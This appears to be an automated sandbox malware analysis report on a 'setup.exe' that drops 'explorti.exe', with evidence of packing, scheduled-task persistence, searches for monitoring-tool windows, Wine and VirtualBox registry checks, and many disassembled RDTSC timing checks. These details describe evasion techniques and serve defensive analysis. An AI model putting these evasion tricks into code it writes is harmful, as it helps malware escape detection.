Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: setup.exe

Static file information: File size 1909760 > 1048576

Source: setup.exe

Static PE information: Raw size of usoriijt is bigger than: 0x100000 < 0x1a0c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\setup.exe	Unpacked PE file: 0.2.setup.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 1.2.explorti.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 2.2.explorti.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 6.2.explorti.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;usoriijt:EW;ymfuwjgb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1d3ae7 should be: 0x1d959a
Source: setup.exe	Static PE information: real checksum: 0x1d3ae7 should be: 0x1d959a

Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: .idata
Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: usoriijt
Source: setup.exe	Static PE information: section name: ymfuwjgb
Source: setup.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: usoriijt
Source: explorti.exe.0.dr	Static PE information: section name: ymfuwjgb
Source: explorti.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00F6D84C push ecx; ret

6_2_00F6D85F

Source: setup.exe	Static PE information: section name: entropy: 7.983026486073879
Source: setup.exe	Static PE information: section name: usoriijt entropy: 7.952894618410208
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.983026486073879
Source: explorti.exe.0.dr	Static PE information: section name: usoriijt entropy: 7.952894618410208

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\setup.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42F434 second address: 42F438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 42F438 second address: 42F43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B3639 second address: 5B363F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B363F second address: 5B3649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B3D5F second address: 5B3D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B3EDE second address: 5B3F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC16945A283h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FC16945A29Dh 0x00000011 jmp 00007FC16945A27Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FC16945A27Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B58C1 second address: 5B594E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D2C6Bh] 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D180Ah], ecx 0x00000016 push 1CF5C958h 0x0000001b push edi 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FC169461A9Ah 0x00000024 popad 0x00000025 pop edi 0x00000026 xor dword ptr [esp], 1CF5C9D8h 0x0000002d xor edi, dword ptr [ebp+122D2C93h] 0x00000033 push 00000003h 0x00000035 pushad 0x00000036 mov ebx, dword ptr [ebp+122D2A7Fh] 0x0000003c mov edi, dword ptr [ebp+122D2BEBh] 0x00000042 popad 0x00000043 push 00000000h 0x00000045 mov edi, dword ptr [ebp+122D2BBBh] 0x0000004b mov edi, dword ptr [ebp+122D2BEBh] 0x00000051 push 00000003h 0x00000053 push 00000000h 0x00000055 push eax 0x00000056 call 00007FC169461A98h 0x0000005b pop eax 0x0000005c mov dword ptr [esp+04h], eax 0x00000060 add dword ptr [esp+04h], 00000018h 0x00000068 inc eax 0x00000069 push eax 0x0000006a ret 0x0000006b pop eax 0x0000006c ret 0x0000006d mov edx, dword ptr [ebp+122D1BD9h] 0x00000073 call 00007FC169461A99h 0x00000078 push eax 0x00000079 push edx 0x0000007a push ecx 0x0000007b pushad 0x0000007c popad 0x0000007d pop ecx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B594E second address: 5B5962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 js 00007FC16945A276h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5962 second address: 5B5966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5AC9 second address: 5B5B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007FC16945A276h 0x0000000e popad 0x0000000f popad 0x00000010 xor dword ptr [esp], 599FCCE4h 0x00000017 jmp 00007FC16945A27Ah 0x0000001c push 00000003h 0x0000001e mov edx, dword ptr [ebp+122D2C23h] 0x00000024 sub edi, 305AD351h 0x0000002a push 00000000h 0x0000002c add dword ptr [ebp+122D1D3Dh], edx 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FC16945A278h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov dx, cx 0x00000051 sub esi, 1320830Ch 0x00000057 push ACA5E9A0h 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5B3B second address: 5B5B52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5B52 second address: 5B5BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 135A1660h 0x00000010 mov cx, si 0x00000013 lea ebx, dword ptr [ebp+1245A78Fh] 0x00000019 je 00007FC16945A27Ch 0x0000001f sbb ecx, 2208CF27h 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jc 00007FC16945A276h 0x0000002f jmp 00007FC16945A289h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5BA5 second address: 5B5BC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007FC169461A96h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FC169461A9Ch 0x00000015 jnp 00007FC169461A96h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5C63 second address: 5B5D1C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC16945A278h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor cx, 1527h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 mov dword ptr [ebp+122D2877h], eax 0x0000001d pop ecx 0x0000001e push 9E482409h 0x00000023 pushad 0x00000024 jmp 00007FC16945A283h 0x00000029 pushad 0x0000002a jmp 00007FC16945A280h 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 popad 0x00000032 popad 0x00000033 add dword ptr [esp], 61B7DC77h 0x0000003a jp 00007FC16945A277h 0x00000040 stc 0x00000041 push 00000003h 0x00000043 push 00000000h 0x00000045 sub dword ptr [ebp+122D288Bh], esi 0x0000004b push 00000003h 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007FC16945A278h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 call 00007FC16945A287h 0x0000006c sub dword ptr [ebp+122D1BD9h], esi 0x00000072 pop ecx 0x00000073 jmp 00007FC16945A27Bh 0x00000078 call 00007FC16945A279h 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 push ecx 0x00000081 pop ecx 0x00000082 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5B5DE9 second address: 5B5DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5C83A6 second address: 5C83AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5C83AA second address: 5C83C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A2C6D second address: 5A2C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FC16945A284h 0x0000000a pop esi 0x0000000b push eax 0x0000000c je 00007FC16945A278h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D474E second address: 5D4752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4752 second address: 5D4770 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC16945A289h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4770 second address: 5D4785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FC169461A98h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4785 second address: 5D4791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007FC16945A276h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4791 second address: 5D4795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4795 second address: 5D47A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jne 00007FC16945A276h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D47A7 second address: 5D47AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4B91 second address: 5D4B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D4EA7 second address: 5D4EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D501E second address: 5D5073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC16945A284h 0x0000000a pushad 0x0000000b jmp 00007FC16945A27Ah 0x00000010 jmp 00007FC16945A282h 0x00000015 jmp 00007FC16945A289h 0x0000001a popad 0x0000001b popad 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5073 second address: 5D5079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5208 second address: 5D520C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D520C second address: 5D5210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5210 second address: 5D522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A27Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FC16945A27Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D537E second address: 5D538C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D538C second address: 5D5396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC16945A276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5396 second address: 5D53B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007FC169461A96h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D53B3 second address: 5D53B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D53B8 second address: 5D53BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D53BE second address: 5D53C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D53C4 second address: 5D53C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5D35 second address: 5D5D3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5D3C second address: 5D5D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FC169461AB4h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5FD9 second address: 5D5FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5FDF second address: 5D5FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D5FE3 second address: 5D6003 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC16945A276h 0x00000008 jmp 00007FC16945A286h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D6003 second address: 5D6062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FC169461AAEh 0x00000011 jmp 00007FC169461AA2h 0x00000016 jnl 00007FC169461A96h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC169461AA2h 0x00000023 jmp 00007FC169461AA3h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D6062 second address: 5D6068 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D62CB second address: 5D62D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D62D1 second address: 5D62F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FC16945A285h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D88E7 second address: 5D88EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D88EB second address: 5D88F5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D88F5 second address: 5D88FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC169461A96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D88FF second address: 5D891C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC16945A27Fh 0x00000013 rdtsc
